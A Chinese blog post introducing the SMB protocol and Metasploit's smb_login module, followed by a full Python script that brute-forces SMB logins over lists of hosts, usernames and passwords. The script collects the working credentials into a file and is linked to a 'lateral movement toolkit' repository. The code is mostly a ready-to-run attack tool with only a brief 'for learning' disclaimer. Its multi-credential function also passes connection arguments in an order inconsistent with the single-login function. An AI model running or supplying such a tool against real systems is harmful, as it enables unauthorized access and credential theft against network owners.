当前位置: 首页 > news >正文

python实现SMB服务账号密码爆破功能 Metasploit 中的 smb_login

Server Message Block (SMB) Intro

服务器消息块 (SMB) 协议是一种网络文件共享协议,它允许计算机上的应用程序读取和写入文件并从计算机网络中的服务器程序请求服务。客户端可以读取、创建和修改远程服务器上的文件。
本文目标是用python实现 metasploit 中的 smb_login功能:

  1. Single Credential Login Scanner 单凭证登录扫描
  2. Multiple Credentials Login Scanner 多凭证登录扫描
  3. Credentials Collection 生成凭证

SMB 主要漏洞

漏洞名称CVE编号发现日期
EternalBlueMS17-0102017
SMBGhostCVE-2020-07962020. 3

扫描smb服务可以查出版本漏洞,以及弱口令漏洞。

Metasploit 中的 smb_login

在运行Metasploit 后运行下面代码,user.txt 和 pass.txt分别为用户设置的用户名字典密码字典 (也可以只设置单个用户名或密码),设置的扫描目标IP地址是RHOSTS。

use auxiliary/scanner/smb/smb_login 
set RHOSTS 192.168.10.16
set USER_FILE /root/users.txt
set PASS_FILE /root/pass.txt
run

smb_login 也可以扫描多个IP地址以及整个网段,只需要在RHIOSTS里设置:

set RHOSTS 192.168.10.10, 192.168.10.11
set RHOSTS 192.168.10.0/24

Python 实现 smb_login

python代码运用了SMBConnection库。实现了三个SMB扫描的基本功能:

  1. Single Credential Login Scanner 单凭证登录扫描
  2. Multiple Credentials Login Scanner 多凭证登录扫描
  3. Credentials Collection 生成凭证

注:此脚本仅供学习,任何非法使用与本人无关。

import os
from smb.SMBConnection import SMBConnection

############################ Clear Consle While Start a Loop ##############################
def clear():
    os.system('cls') #on Windows System

############################ Collect Single Credential From User Input ##############################
def CollectCredential():
    remote_ip = input('Enter Host IP:')
    username = input('Enter SMB Username:')
    password = input('Enter SMB Password:')
    domain = input('Enter Domain Name:')
    return(remote_ip,username,password,domain)

############################ Verify the Input File Direction ##############################
# If the direction cannot be found, set the input as an atribute.
def VerifyFile(up):
    ver = []
    try:
        file = open(up, 'r')
        data = file.readlines()
        print('File Direction Verified.')
        for line in data:
            ver.append(line.strip())
    except:
        ver.append(up)
        return ver
    return ver

############################ Collect File Directions From User Input ##############################
#Support IP, username, password SMB brute force attack, 
#user can input single attributes replace one to three attributes with files
def CollectFiles():
    remote_ip = input('Enter Host IP or File Direction:')
    remote_ip = VerifyFile(remote_ip)
    username = input('Enter SMB Username or File Direction:')
    username = VerifyFile(username)
    password = input('Enter SMB Password or File Direction:')
    password = VerifyFile(password)
    domain = input('Enter Domain Name:')
    return(remote_ip,username,password,domain)

############################ Generate Collected Credentials in to Files ##############################                      
def GenerateCredentials():
    try:
        with open("Credential.txt",mode='w',encoding='utf-8') as ff:
            for i in range(len(credential)): 
                ff.write(credential[i]+' ')
                if (i+1) % 4 == 0:
                    ff.write('\n')
    except FileNotFoundError:
        with open("Credential.txt",mode='w',encoding='utf-8') as ff:
            for i in range(len(credential)): 
                ff.write(credential[i]+' ')
                if (i+1) % 4 == 0:
                    ff.write('\n')

############################ SMB Functions Using SMBConnection ##############################
class SMB(object):
    def __init__(self,remote_ip,username,password,domain):
        self.remote_ip = remote_ip
        self.username = username
        self.password = password
        self.domain = domain

############################ Use the Single Credential CollectCredential() to Login ##############################     
  
    def SingleLoginScanner(self):
        my_name = ""
        remote_name = ""
        try:
            self.conn = SMBConnection(self.username, self.password, my_name, remote_name, self.domain, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)

            connected = self.conn.connect(self.remote_ip,445)   
            if connected == True:
                print('Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))

                credential.append(self.remote_ip)
                credential.append(self.username)
                credential.append(self.password)
                credential.append(self.domain)
                print("Credential",credential)
            else:
                print('False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))
            self.conn.close()   
        except Exception as e:
            print(e)

############################ Use the Multiple Credentials CollectFiles() to Login ##############################     
    def MultiLoginScanner(self):
        count = 0
        my_name = ""
        remote_name = ""
        for ip in self.remote_ip:
            for username in self.username:
                for password in self.password:
                    count += 1
                    try:
                        self.conn = SMBConnection(username, password, self.domain, my_name, remote_name, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)
                        connected = self.conn.connect(ip,445)      
                        if connected == True:
                            print('%d Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))
                            credential.append(ip)
                            credential.append(username)
                            credential.append(password)
                            credential.append(self.domain)
                            print("Credential",credential)
                        else:
                            print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))   
                        self.conn.close()
                    except Exception as e:
                        print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))
                        print(e)

############################ SMB Functions Support User to Chose ##############################
def main():
    while(1):
        print('********************SMB PYTHON TOOKIT********************')
        print('1. Single credential SMB Login Scanner')
        print('2. Credentials list from file SMB Brute Force')
        print('3. Generate Collected Credentials')
        print('4. Quit')
        print('*********************************************************\n')
        chose = input('Type number to pick function:')
            
        if chose == '1':
            print('Only support to input single ip address, username and password.\n')
            remote_ip,username,password,domain = CollectCredential()
            smb = SMB(remote_ip,username,password,domain) 
            smb.SingleLoginScanner()

        elif chose == '2':
            print('Support Local File Directories contain ip/username/password or they will be recognized as a string.\n')
            remote_ip,username,password,domain = CollectFiles()
            smb = SMB(remote_ip,username,password,domain) 
            smb.MultiLoginScanner()

        elif chose == '3':
            print('Generating Successful Credentials in a txt file...\n')
            GenerateCredentials()
            print('Generated Credential.txt in the same python Directory.\n')
            
        else:
            print('Please input valid number!\n')
            clear()
        
if __name__ == '__main__':
    credential = []
    main()

Github 代码:https://github.com/redemptionwxy/SMB-Python-Lateral-Movement-Toolkit

Reference

https://github.com/rahulinux/PythonPractice-/blob/master/samba_client.py

https://github.com/n3if/scripts/blob/master/smb_enumerator/smb_enumerator.py

https://pysmb.readthedocs.io/en/latest/api/smb_SMBConnection.html

相关文章:

  • 【C基础篇】选择结构与循环控制
  • 一位程序员感慨:互联网行业太过共享,才导致了门槛越来越低
  • 【图像隐写】基于matlab遗传算法的奇异值分解数字水印嵌入提取【含Matlab源码 2115期】
  • 计算机视觉中的细节问题(二)
  • Javascript 代码规范
  • linux驱动开发(2)开发流程
  • 【云原生】设备云之前端可视化编程
  • 计算电磁学(二)分析方法
  • 【Django】开发日报_3.2_Day:模板继承
  • 探索原味BFF模式
  • unity初学 Mstudio教程
  • Complete Partition Of Array
  • 单节点k8s—自签名证书—四层负载均衡—helm安装rancher
  • 高频面试题:谈谈你对 Spring Boot 自动装配机制的理解
  • Apple Xcode 14 (14A309) 正式版发布(含下载)
  • [rust! #004] [译] Rust 的内置 Traits, 使用场景, 方式, 和原因
  • “大数据应用场景”之隔壁老王(连载四)
  • Apache的基本使用
  • FastReport在线报表设计器工作原理
  • flutter的key在widget list的作用以及必要性
  • HTTP中GET与POST的区别 99%的错误认识
  • iOS编译提示和导航提示
  • log4j2输出到kafka
  • Lucene解析 - 基本概念
  • Mac 鼠须管 Rime 输入法 安装五笔输入法 教程
  • SwizzleMethod 黑魔法
  • VirtualBox 安装过程中出现 Running VMs found 错误的解决过程
  • 关于Java中分层中遇到的一些问题
  • 简析gRPC client 连接管理
  • 将 Measurements 和 Units 应用到物理学
  • 使用docker-compose进行多节点部署
  • 一个项目push到多个远程Git仓库
  • Redis4.x新特性 -- 萌萌的MEMORY DOCTOR
  • 长三角G60科创走廊智能驾驶产业联盟揭牌成立,近80家企业助力智能驾驶行业发展 ...
  • 哈罗单车融资几十亿元,蚂蚁金服与春华资本加持 ...
  • # Kafka_深入探秘者(2):kafka 生产者
  • #APPINVENTOR学习记录
  • #define,static,const,三种常量的区别
  • (1)虚拟机的安装与使用,linux系统安装
  • (6)STL算法之转换
  • (C语言)深入理解指针2之野指针与传值与传址与assert断言
  • (Python) SOAP Web Service (HTTP POST)
  • (vue)页面文件上传获取:action地址
  • (附源码)python房屋租赁管理系统 毕业设计 745613
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (十七)devops持续集成开发——使用jenkins流水线pipeline方式发布一个微服务项目
  • (一)插入排序
  • (原)记一次CentOS7 磁盘空间大小异常的解决过程
  • (原创)Stanford Machine Learning (by Andrew NG) --- (week 9) Anomaly DetectionRecommender Systems...
  • (转) 深度模型优化性能 调参
  • (转)3D模板阴影原理
  • (转)我也是一只IT小小鸟
  • . ./ bash dash source 这五种执行shell脚本方式 区别
  • .bat批处理(八):各种形式的变量%0、%i、%%i、var、%var%、!var!的含义和区别
  • .NET CF命令行调试器MDbg入门(二) 设备模拟器